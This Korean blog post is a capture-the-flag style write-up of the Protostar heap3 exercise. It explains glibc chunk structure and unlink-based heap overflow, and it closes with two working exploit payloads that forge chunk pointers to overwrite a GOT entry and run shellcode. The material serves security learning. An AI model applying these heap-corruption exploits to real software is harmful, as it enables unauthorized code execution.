0. Introduce
대표적인 Double Free Bug 예제라고 볼 수 있는 exploit-exercises_protostar_heap3 문제입니다.
protostar에 모든 문제 난이도가 그렇게 높지않아서 별로 기대는 안하고 풀어봤던건데 Heap을 잘 모르는 저에게 많은 공부가 되었습니다.
Heap구조나 Unlink 그리고 bin들에대한 이해도를 높일 수 있었습니다.
1. Linux Version
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 6.0.3 (squeeze)
Release: 6.0.3
Codename: squeeze
(shell - bash)
2. Binary
heap3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH heap3
3. Source Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> void winner() { printf("that wasn't too bad now, was it? @ %d\n", time(NULL)); } int main(int argc, char **argv) { char *a, *b, *c; a = malloc(32); b = malloc(32); c = malloc(32); strcpy(a, argv[1]); strcpy(b, argv[2]); strcpy(c, argv[3]); free(c); free(b); free(a); printf("dynamite failed?\n"); } |
4. Heap Overflow and Double Free Bug
1) Allocated chunk
2) free chunk
3) unlink
Bin 리스트에서 chunk를 제거하는 작업이다. unlink가 필요한 상황은 크게 두가지로 나누어진다.
- double linked list형식으로 관리되는 bin에서 중간에 있는 chunk를 free할 때
- chunk가 free되었을 때, 연속된 위치에 free된 chunk가 존재하면 두 chunk를 합병하여 새로운 chunk를 만드는데, 이 때 chunk 사이즈가 증가하므로 원래 있던 bin에서 제거하고 적절한 bin에 넣어줘야할 때 (지금 볼 unlink)
free가 진행될 때, prev_chunk와 next_chunk에 대해서 free되어있는지 조사한다.
이 때, free가 되었는지 안되었는지는 PREV_INUSE 를 통해 알 수 있다. (PREV_INUSE 가 1로 셋팅되어있으면 사용중인 chunk)
Free 함수
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | // free_function INTERNAL_SIZE_T hd = p->size; ... if (!hd & PREV_INUSE)) /* consolidate backward */ /* [A] */ { prevsz = p->prev_size; p = chunk_at_offset(p, -(long)prevsz); /* [B] */ sz += prevsz; if (p->fd == last_remainder(ar_ptr)) islr = 1; else unlink(p, bck, fwd); } |
unlink
1 2 3 4 5 6 7 8 | //unlink #define unlink( P, BK, FD ) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; } | cs |
이 때 PREV_INUSE 비트를 0으로 바꾸고 fd(forward pointer)와 bk(backward pointer)를 셋팅하면 Fake_chunk를 만들 수 있다.
하지만 glibc 2.3.2 이상 버전에서는 unlink시에 다음과 같이 두가지의 검증 루틴이 추가되었다.
- unlink 하고자하는 청크의 다음청크의 이전청크가 나 자신인가?
- unlink 하고자하는 청크의 이전청크의 다음청크가 나 자신인가?
그렇기 때문에 이방법이 통하지 않는다.
하지만 지금은 glibc버전이 낮기때문에 PREV_INUSE와 fd, bk를 heapoverflow로 overwrite해서 fake chunk를만들어 풀 수 있다.
나는 이 문제를 풀 때 두가지를 시도해 보았다.
1. put_got를 winner()의 함수포인터로 덮어씌운다.
2. put_got를 a(malloc(32))에 data영역 포인터로 덮어씌우고 처음 strcpy로 a의 data영역에 쉘코드를 넣는다.
여기서 1번 방법은 fd, bk를 조작해서 put_got와 winner()의 포인터를 넣게되면 두 영역 전부 데이터를 쓸 수 있어야 하지만 winner부분은 code영역이라 쓸 수 없기때문에 오류가 난다. 그러므로 2번방법으로 풀어야 한다.
2번 방법도 두가지로 시도해보았다.
memory(a,b,c) : prev_size(4) size(4) data(32) prev_size(4) size(4) data(32) prev_size(4) size(4) data(32)
1. a의 data에 쉘코드를 넣고 b를 overflow시켜서 c에 prev_size와 size를 변경하고 data영역에 fd와 bk조작
2. a의 data에 쉘코드를 넣고 a를 overflow시켜서 b에 prev_size와 size를 변경하고 data영역에 fd와 bk조작
1번 Payload
./heap3 `python -c 'print "\x90" * 8 + "\x68\x64\x88\x04\x08\xc3" + " " + "A"*28 + "\xff" * 4 + "\xfc\xff\xff\xff"*2 + " " + "CCCC" + "\x1c\xb1\x04\x08" + "\x04\xc0\x04\x08"'`
2번의 Payload
./heap3 `python -c 'print "\x90" * 8 + "\x68\x64\x88\x04\x08\xc3" + "A" * 14 + "\xff" * 4 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff" + " " +"aaaa"+ "\x1c\xb1\x04\x08" + "\x04\xc0\x04\x08"'` C
5. Reference
http://mashirogod.dothome.co.kr/index.php/2016/05/11/glibc-malloc-1/
https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/
http://daehee87.tistory.com/478
'해킹 > Write Up' 카테고리의 다른 글
3DS CTF 2016 get-started-100 Write Up (0) | 2017.01.27 |
---|---|
Exploit Exercises Protostar Stack~Net Write Up (0) | 2017.01.27 |
ECTF-2016 Defushal(rev50) Write Up (0) | 2016.10.29 |
[PythonChallenge-3] equality.html 풀이 (0) | 2016.09.14 |
[PythonChallenge-2] ocr.html 풀이 (0) | 2016.09.14 |